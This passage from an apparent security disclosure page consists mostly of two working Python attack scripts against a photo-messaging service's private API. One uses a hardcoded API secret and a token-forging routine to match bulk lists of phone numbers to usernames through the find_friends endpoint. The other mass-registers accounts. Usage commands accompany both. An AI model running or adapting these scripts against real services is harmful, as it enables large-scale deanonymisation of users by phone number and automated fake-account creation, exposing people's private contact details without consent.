<em>stdin</em>, iterate through them and write any results to <em>stdout</em>.<br> Use it like: <code>python2 find_friends.py $username $password &lt; numbers.txt &gt; results.txt</code></p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># python2 find_friends.py $username $password &lt; numbers.txt &gt; results.txt</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="nn">json</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="k">def</span> <span class="nf">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">&quot;iEk21fuwZApXlz93750dmW22pw389dPwOk&quot;</span> <span class="n">pattern</span> <span class="o">=</span> <span class="s">&quot;0001110111101110001111010101111011010001001110011000110001000110&quot;</span> <span class="n">first</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="n">auth_token</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">second</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">+</span> <span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">bits</span> <span class="o">=</span> <span class="p">[</span><span class="n">first</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">&quot;0&quot;</span> <span class="k">else</span> <span class="n">second</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">pattern</span><span class="p">)]</span> <span class="k">return</span> <span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="n">numbers</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">base</span> <span class="o">=</span> <span class="s">&quot;https://feelinsonice.appspot.com&quot;</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">&quot;/bq/login&quot;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="c"># These are hardcoded, just because it&#39;s easy.</span> <span class="s">&quot;req_token&quot;</span><span class="p">:</span> <span class="s">&quot;9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b&quot;</span><span class="p">,</span> <span class="s">&quot;timestamp&quot;</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">&quot;username&quot;</span><span class="p">:</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s">&quot;password&quot;</span><span class="p">:</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">&quot;User-agent&quot;</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="n">auth_token</span><span class="p">,</span> <span class="n">username</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">&quot;auth_token&quot;</span><span class="p">],</span> <span class="n">r</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">&quot;username&quot;</span><span class="p">]</span> <span class="c"># We can hardcode these as well.</span> <span class="n">static</span> <span class="o">=</span> <span class="p">{</span><span class="s">&quot;req_token&quot;</span><span class="p">:</span> <span class="n">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="mi">1373209025</span><span class="p">),</span> <span class="s">&quot;countryCode&quot;</span><span class="p">:</span> <span class="s">&quot;US&quot;</span><span class="p">,</span> <span class="s">&quot;timestamp&quot;</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">&quot;username&quot;</span><span class="p">:</span> <span class="n">username</span><span class="p">}</span> <span class="k">for</span> <span class="n">number</span> <span class="ow">in</span> <span class="n">numbers</span><span class="p">:</span> <span class="n">n</span> <span class="o">=</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">({</span><span class="n">number</span><span class="p">:</span> <span class="s">&quot;J. R. Hacker&quot;</span><span class="p">})</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">&quot;/ph/find_friends&quot;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="nb">dict</span><span class="p">(</span><span class="n">static</span><span class="p">,</span> <span class="n">numbers</span><span class="o">=</span><span class="n">n</span><span class="p">),</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">&quot;User-agent&quot;</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span><span class="o">.</span><span class="n">json</span><span class="p">()</span> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="p">[</span><span class="s">&quot;results&quot;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span> <span class="k">continue</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;{0} -&gt; {1}</span><span class="se">\n</span><span class="s">&quot;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">number</span><span class="p">,</span> <span class="n">r</span><span class="p">[</span><span class="s">&quot;results&quot;</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="s">&quot;name&quot;</span><span class="p">]))</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> </pre></div> <h2 id='bulk-registration-of-accounts' class='link-to'>Bulk registration of accounts <a class='pilcrow' title='Permalink to this section' href='#bulk-registration-of-accounts'>露</a></h2> <p>This isn&#39;t so much of an exploit as taking advantage of the really lax registration functionality. Two requests, <code>/bq/register</code> and <code>/ph/registeru</code> can give you an account.</p> <p>This script reads a list of accounts from stdin, attempts to register them, then prints the valid registered accounts to stdout. Format your account list like this:</p> <pre><code>account1:password1:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="2e57415b1f6e4b564f435e424b00415c49">[email&#160;protected]</a> account2:password2:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b0c9dfc582f0d5c8d1ddc0dcd59edfc2d7">[email&#160;protected]</a> account3:password3:<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="ceb7a1bbfd8eabb6afa3bea2abe0a1bca9">[email&#160;protected]</a> ... ad infinitum</code></pre> <p>Use it like: <code>python2 bulk_register.py &lt; accounts.txt &gt; registered.txt</code></p> <div class="highlight"><pre><span class="c">#!/usr/bin/env python2</span> <span class="c"># python2 bulk_register.py &lt; accounts.txt &gt; registered.txt</span> <span class="c"># format accounts.txt like `username:password:email`</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">sys</span> <span class="n">accounts</span> <span class="o">=</span> <span class="p">[</span><span class="n">a</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;:&quot;</span><span class="p">)</span> <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdin</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="k">if</span> <span class="n">a</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> <span class="o">!=</span> <span class="s">&quot;&quot;</span><span class="p">]</span> <span class="n">base</span> <span class="o">=</span> <span class="s">&quot;https://feelinsonice.appspot.com&quot;</span> <span class="k">for</span> <span class="n">account</span> <span class="ow">in</span> <span class="n">accounts</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">,</span> <span class="n">email</span> <span class="o">=</span> <span class="n">account</span> <span class="n">reg</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">&quot;/bq/register&quot;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="s">&quot;req_token&quot;</span><span class="p">:</span> <span class="s">&quot;9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b&quot;</span><span class="p">,</span> <span class="s">&quot;timestamp&quot;</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">&quot;email&quot;</span><span class="p">:</span> <span class="n">email</span><span class="p">,</span> <span class="s">&quot;password&quot;</span><span class="p">:</span> <span class="n">password</span><span class="p">,</span> <span class="s">&quot;age&quot;</span><span class="p">:</span> <span class="mi">19</span><span class="p">,</span> <span class="s">&quot;birthday&quot;</span><span class="p">:</span> <span class="s">&quot;1994-11-27&quot;</span><span class="p">,</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">&quot;User-agent&quot;</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">reg</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">&quot;logged&quot;</span><span class="p">]:</span> <span class="k">continue</span> <span class="n">nam</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">base</span> <span class="o">+</span> <span class="s">&quot;/ph/registeru&quot;</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="s">&quot;req_token&quot;</span><span class="p">:</span> <span class="s">&quot;9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b&quot;</span><span class="p">,</span> <span class="s">&quot;timestamp&quot;</span><span class="p">:</span> <span class="mi">1373209025</span><span class="p">,</span> <span class="s">&quot;email&quot;</span><span class="p">:</span> <span class="n">email</span><span class="p">,</span> <span class="s">&quot;username&quot;</span><span class="p">:</span> <span class="n">username</span> <span class="p">},</span> <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">&quot;User-agent&quot;</span><span class="p">:</span> <span class="bp">None</span><span class="p">})</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">nam</span><span class="o">.</span><span class="n">json</span><span class="p">()[</span><span class="s">&quot;logged&quot;</span><span class="p">]:</span> <span class="k">continue</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="s">&quot;:&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">account</span><span class="p">)</span> <span class="o">+</span> <span class="s">&quot;</span><span class="se">\n</span><span class="s">&quot;</span><span class="p">)</span> <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> </pre></div> </div> </div> </content> <div id="go-to-top"><a href="#top">top</a></div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script></body> </html>

Pages: 1 2 3 4 5 6 7 8 9 10